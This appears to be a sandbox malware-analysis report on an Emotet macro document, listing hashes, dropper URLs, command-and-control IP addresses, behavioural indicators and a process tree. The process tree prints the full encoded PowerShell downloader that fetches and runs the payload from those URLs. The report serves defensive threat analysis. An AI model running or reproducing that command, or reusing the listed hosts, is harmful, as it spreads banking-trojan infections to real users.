emotet | a5d07fac1fd1f74e00644c183bfe972d95582bb06c0f8a16e3a0f58cab1152e3

Analysis

max time kernel
139s
max time network
144s
platform
windows10_x64
resource
win10v200722
submitted
25/09/2020, 05:05

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General

Target
emotet_e1_a5d07fac1fd1f74e00644c183bfe972d95582bb06c0f8a16e3a0f58cab1152e3_2020-09-25__050111420710._doc.doc
Size 162KB
Sample200925-bdb9afeh9a
SHA256 a5d07fac1fd1f74e00644c183bfe972d95582bb06c0f8a16e3a0f58cab1152e3
MD5 2289fa90b9a7c7aaae843be2a3d72da7
SHA1 ea791f932297cb18e86533cd48696d0162ea36d2
SHA512 3376d1058a1a496c73f8ebc7f2b4183d8364b294166b25195c12599f27d3dcfa035cc3a21a71d3633b58f5551981e3f772b6128f183a42dc73a0e94dce5373dc
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://transfersuvan.com/wp-admin/1J/
exe.dropper
http://da-industrial.com/js/aX/
exe.dropper
http://daprofesional.com/data4/aE/
exe.dropper
http://degepro.com/eTrac/px/
exe.dropper
http://hoagietesting10.com/wp-content/a/
exe.dropper
https://lifeadvicer.com/wp-content/FX/
exe.dropper
https://bangkokcityjewel.com/cgi-bin/F3/

Extracted

Family

emotet

12.163.208.58:80
45.33.35.74:8080
87.106.253.248:8080
192.241.146.84:8080
190.115.18.139:8080
65.36.62.20:80
170.81.48.2:80
83.169.21.32:7080
185.232.182.218:80
190.2.31.172:80
77.106.157.34:8080
82.230.1.24:80
202.4.58.197:80
201.213.177.139:80
78.249.119.122:80
123.51.47.18:80
77.90.136.129:8080
60.93.23.51:80
152.169.22.67:80
190.117.79.209:80
60.108.144.104:443
213.197.182.158:8080
82.76.111.249:443
209.236.123.42:8080
190.24.243.186:80
177.74.228.34:80
191.182.6.118:80
96.245.123.149:80
61.197.92.216:80
1.226.84.243:8080
111.67.12.221:8080
216.47.196.104:80
185.94.252.27:443
70.116.143.84:80
187.162.248.237:80
217.13.106.14:8080
80.11.164.185:80
35.143.99.174:80
190.190.148.27:8080
219.92.13.25:80
70.32.115.157:8080
96.227.52.8:443
51.75.33.127:80
95.9.180.128:80
174.113.69.136:80
119.106.216.84:80
111.67.77.202:8080
91.105.94.200:80
178.250.54.208:8080
98.13.75.196:80
2.36.95.106:80
186.70.127.199:8090
116.202.23.3:8080
202.134.4.210:7080
50.28.51.143:8080
45.33.77.42:8080
67.247.242.247:80
137.74.106.111:7080
85.214.26.7:8080
181.30.61.163:443
77.238.212.227:80
185.215.227.107:443
186.103.141.250:443
50.121.220.50:80
74.136.144.133:80
104.131.41.185:8080
61.92.159.208:8080
104.131.103.37:8080
51.15.7.189:80
185.94.252.12:80
94.176.234.118:443
212.71.237.140:8080
5.196.35.138:7080
45.46.37.97:80
70.32.84.74:8080
199.203.62.165:80
38.88.126.202:8080
51.159.23.217:443
155.186.0.121:80
51.38.124.206:80
181.129.96.162:8080
64.201.88.132:80
92.24.50.153:80
189.2.177.210:443
45.16.226.117:443
76.168.54.203:80
185.178.10.77:80
220.109.145.69:80
192.81.38.31:80
68.183.170.114:8080
177.73.0.98:443
138.97.60.141:7080
192.241.143.52:8080
217.199.160.224:7080
185.183.16.47:80
177.129.17.170:443
5.189.178.202:8080
74.58.215.226:80
51.255.165.160:8080
12.162.84.2:8080
149.202.72.142:7080
87.106.46.107:8080
188.135.15.49:80
68.183.190.199:8080
172.104.169.32:8080
68.69.155.181:80
72.47.248.48:7080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	204	3544	POwersheLL.exe	73

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/808-13-0x0000000000670000-0x0000000000682000-memory.dmp	emotet
behavioral2/memory/808-13-0x0000000000670000-0x0000000000682000-memory.dmp	emotet
behavioral2/memory/808-14-0x0000000000690000-0x00000000006A0000-memory.dmp	emotet
behavioral2/memory/808-14-0x0000000000690000-0x00000000006A0000-memory.dmp	emotet
behavioral2/memory/3776-17-0x00000000004D0000-0x00000000004E2000-memory.dmp	emotet
behavioral2/memory/3776-17-0x00000000004D0000-0x00000000004E2000-memory.dmp	emotet
behavioral2/memory/3776-18-0x0000000000500000-0x0000000000510000-memory.dmp	emotet
behavioral2/memory/3776-18-0x0000000000500000-0x0000000000510000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
21	204	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
808	Etlxn1aff.exe
3776	iasdatastore.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\wsmprovhost\iasdatastore.exe	Etlxn1aff.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
584	WINWORD.EXE
584	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
204	POwersheLL.exe
204	POwersheLL.exe
204	POwersheLL.exe
3776	iasdatastore.exe
3776	iasdatastore.exe
3776	iasdatastore.exe
3776	iasdatastore.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	204	POwersheLL.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
584	WINWORD.EXE
584	WINWORD.EXE
584	WINWORD.EXE
584	WINWORD.EXE
584	WINWORD.EXE
584	WINWORD.EXE
584	WINWORD.EXE
584	WINWORD.EXE
584	WINWORD.EXE
808	Etlxn1aff.exe
3776	iasdatastore.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 204 wrote to memory of 808	204	POwersheLL.exe	81
PID 204 wrote to memory of 808	204	POwersheLL.exe	81
PID 204 wrote to memory of 808	204	POwersheLL.exe	81
PID 808 wrote to memory of 3776	808	Etlxn1aff.exe	82
PID 808 wrote to memory of 3776	808	Etlxn1aff.exe	82
PID 808 wrote to memory of 3776	808	Etlxn1aff.exe	82

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_a5d07fac1fd1f74e00644c183bfe972d95582bb06c0f8a16e3a0f58cab1152e3_2020-09-25__050111420710._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:584

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD JABSAF8ANAA1AGwAMwB1AD0AKAAoACcASwByACcAKwAnADIAJwApACsAJwB5ACcAKwAoACcAbgAnACsAJwA3AGgAJwApACkAOwAuACgAJwBuAGUAJwArACcAdwAtAGkAdAAnACsAJwBlAG0AJwApACAAJABFAE4AdgA6AHUAcwBlAHIAcABSAG8ARgBpAGwARQBcAEsAbwBYAGkAUgA1AHIAXABBAHMAMABKAHoATQBGAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQAaQByAEUAYwBUAE8AUgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYwBgAFUAcgBpAFQAYAB5AFAAUgBvAGAAVABPAEMATwBsACIAIAA9ACAAKAAnAHQAbAAnACsAJwBzACcAKwAoACcAMQAyACwAIAAnACsAJwB0ACcAKQArACcAbABzACcAKwAoACcAMQAxACwAIAAnACsAJwB0ACcAKwAnAGwAJwApACsAJwBzACcAKQA7ACQATwAxAHEAZAAyAGcAOAAgAD0AIAAoACcARQB0ACcAKwAoACcAbAB4ACcAKwAnAG4AJwArACcAMQBhAGYAJwApACsAJwBmACcAKQA7ACQAQQBpADMAYQA3AGkAdQA9ACgAJwBLACcAKwAoACcAMgBvAGMAZAAnACsAJwB5ACcAKQArACcANgAnACkAOwAkAFoAeABnAGEAMgAyAGoAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwBRACcAKwAnAEIAdQBLAG8AeAAnACkAKwAoACcAaQByADUAcgBRAEIAdQAnACsAJwBBACcAKwAnAHMAJwApACsAKAAnADAAJwArACcAagB6ACcAKQArACgAJwBtAGYAJwArACcAUQBCACcAKQArACcAdQAnACkALgAiAFIAZQBwAGAAbABBAEMAZQAiACgAKAAnAFEAQgAnACsAJwB1ACcAKQAsAFsAcwBUAFIAaQBuAGcAXQBbAGMASABhAHIAXQA5ADIAKQApACsAJABPADEAcQBkADIAZwA4ACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABWAGEAZAA0AG0AZgBrAD0AKAAnAEMAJwArACgAJwBmACcAKwAnAGIAcwAnACkAKwAoACcAMgAnACsAJwBfAF8AJwApACkAOwAkAEQAeAByADMAcQByADQAPQAmACgAJwBuAGUAdwAnACsAJwAtACcAKwAnAG8AYgBqAGUAYwB0ACcAKQAgAG4AZQBUAC4AdwBFAGIAYwBsAGkAZQBuAHQAOwAkAFIAeQBiAGwAbwA1AF8APQAoACcAaAAnACsAKAAnAHQAdABwACcAKwAnADoALwAvACcAKQArACcAdAByACcAKwAoACcAYQBuACcAKwAnAHMAZgAnACkAKwAoACcAZQAnACsAJwByAHMAdQB2ACcAKwAnAGEAJwApACsAJwBuAC4AJwArACgAJwBjAG8AbQAnACsAJwAvACcAKQArACcAdwBwACcAKwAnAC0AYQAnACsAKAAnAGQAJwArACcAbQBpAG4ALwAnACkAKwAnADEASgAnACsAJwAvACoAJwArACgAJwBoAHQAdAAnACsAJwBwADoAJwApACsAKAAnAC8ALwBkACcAKwAnAGEALQBpAG4AJwArACcAZAAnACkAKwAoACcAdQBzACcAKwAnAHQAcgAnACkAKwAnAGkAJwArACgAJwBhAGwAJwArACcALgBjAG8AJwApACsAJwBtACcAKwAnAC8AJwArACcAagAnACsAJwBzAC8AJwArACcAYQAnACsAKAAnAFgALwAnACsAJwAqACcAKQArACcAaAAnACsAJwB0AHQAJwArACgAJwBwADoALwAvAGQAJwArACcAYQAnACsAJwBwAHIAJwApACsAKAAnAG8AZgBlAHMAJwArACcAaQAnACkAKwAnAG8AJwArACgAJwBuAGEAbAAnACsAJwAuACcAKQArACgAJwBjAG8AbQAvAGQAJwArACcAYQB0AGEANAAnACsAJwAvACcAKQArACcAYQBFACcAKwAoACcALwAqACcAKwAnAGgAJwApACsAJwB0ACcAKwAoACcAdABwADoALwAnACsAJwAvAGQAJwApACsAKAAnAGUAZwAnACsAJwBlAHAAJwApACsAKAAnAHIAJwArACcAbwAuAGMAbwAnACsAJwBtAC8AZQBUAHIAYQBjACcAKwAnAC8AcAAnACsAJwB4AC8AKgBoAHQAJwApACsAKAAnAHQAcAAnACsAJwA6ACcAKQArACgAJwAvAC8AJwArACcAaABvAGEAJwApACsAKAAnAGcAaQAnACsAJwBlACcAKQArACgAJwB0AGUAJwArACcAcwB0ACcAKQArACgAJwBpAG4AZwAxACcAKwAnADAALgAnACkAKwAoACcAYwAnACsAJwBvAG0ALwAnACkAKwAoACcAdwAnACsAJwBwAC0AJwApACsAJwBjACcAKwAnAG8AJwArACgAJwBuAHQAJwArACcAZQBuACcAKQArACcAdAAnACsAKAAnAC8AYQAvACcAKwAnACoAaAAnACkAKwAnAHQAdAAnACsAKAAnAHAAcwAnACsAJwA6AC8AJwApACsAKAAnAC8AbABpAGYAZQBhAGQAdgAnACsAJwBpAGMAJwArACcAZQAnACkAKwAnAHIALgAnACsAKAAnAGMAbwBtAC8AdwAnACsAJwBwAC0AYwAnACsAJwBvACcAKQArACgAJwBuAHQAZQBuACcAKwAnAHQAJwApACsAKAAnAC8ARgAnACsAJwBYACcAKQArACcALwAnACsAJwAqAGgAJwArACgAJwB0AHQAJwArACcAcABzADoAJwApACsAKAAnAC8ALwBiACcAKwAnAGEAJwApACsAKAAnAG4AJwArACcAZwBrAG8AJwApACsAKAAnAGsAYwBpAHQAeQAnACsAJwBqAGUAdwAnACsAJwBlACcAKQArACcAbAAnACsAKAAnAC4AYwAnACsAJwBvAG0ALwAnACsAJwBjACcAKQArACcAZwBpACcAKwAoACcALQBiACcAKwAnAGkAbgAvAEYAMwAvACcAKQApAC4AIgBzAHAAYABMAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFIANgAzAGwAZgBvAHcAPQAoACgAJwBDAGIAJwArACcAcQByACcAKwAnAHEAZAAnACkAKwAnAHEAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAQQBjADkAMgBiAGEAOQAgAGkAbgAgACQAUgB5AGIAbABvADUAXwApAHsAdAByAHkAewAkAEQAeAByADMAcQByADQALgAiAEQATwB3AE4AYABMAGAAbwBhAEQARgBgAGkATABFACIAKAAkAEEAYwA5ADIAYgBhADkALAAgACQAWgB4AGcAYQAyADIAagApADsAJABVAHgANwBhAGIAbQBlAD0AKAAnAFkAJwArACcAeAA4ACcAKwAoACcAMQBnAGMAJwArACcAdgAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABaAHgAZwBhADIAMgBqACkALgAiAEwARQBOAEcAYABUAGgAIgAgAC0AZwBlACAAMgA4ADgANQA4ACkAIAB7ACYAKAAnAEkAbgB2AG8AJwArACcAawAnACsAJwBlAC0ASQB0AGUAJwArACcAbQAnACkAKAAkAFoAeABnAGEAMgAyAGoAKQA7ACQAUwBvAGoANwB0AHYAcQA9ACgAJwBPACcAKwAnAHoAawAnACsAKAAnAHoANQB6ACcAKwAnAGEAJwApACkAOwBiAHIAZQBhAGsAOwAkAEoAMQBlAGQAXwB4AG0APQAoACcAWAAnACsAKAAnAG8AcwByACcAKwAnADcAbQAnACsAJwBjACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABBADEAMgB6AGcAMwBqAD0AKAAoACcATAB3AHIAeAA1ACcAKwAnAGcAJwApACsAJwBlACcAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:204
- C:\Users\Admin\Koxir5r\As0jzmf\Etlxn1aff.exe
  "C:\Users\Admin\Koxir5r\As0jzmf\Etlxn1aff.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:808
- - C:\Windows\SysWOW64\wsmprovhost\iasdatastore.exe
    "C:\Windows\SysWOW64\wsmprovhost\iasdatastore.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:3776

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/204-7-0x00007FFEA2A30000-0x00007FFEA341C000-memory.dmp

Download

memory/204-8-0x00000205D81D0000-0x00000205D81D1000-memory.dmp

Download

memory/204-9-0x00000205F05A0000-0x00000205F05A1000-memory.dmp

Download

memory/584-3-0x0000017C88627000-0x0000017C8862A000-memory.dmp

Download

memory/584-4-0x0000017C88627000-0x0000017C8862A000-memory.dmp

Download

memory/584-5-0x0000017C883E2000-0x0000017C883E8000-memory.dmp

Download

memory/584-6-0x0000017C88627000-0x0000017C8862A000-memory.dmp

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memory/584-0-0x00007FFEAA3E0000-0x00007FFEAAAA6000-memory.dmp

Download

memory/808-14-0x0000000000690000-0x00000000006A0000-memory.dmp

Download

memory/808-13-0x0000000000670000-0x0000000000682000-memory.dmp

Download

memory/3776-17-0x00000000004D0000-0x00000000004E2000-memory.dmp

Download

memory/3776-18-0x0000000000500000-0x0000000000510000-memory.dmp

Download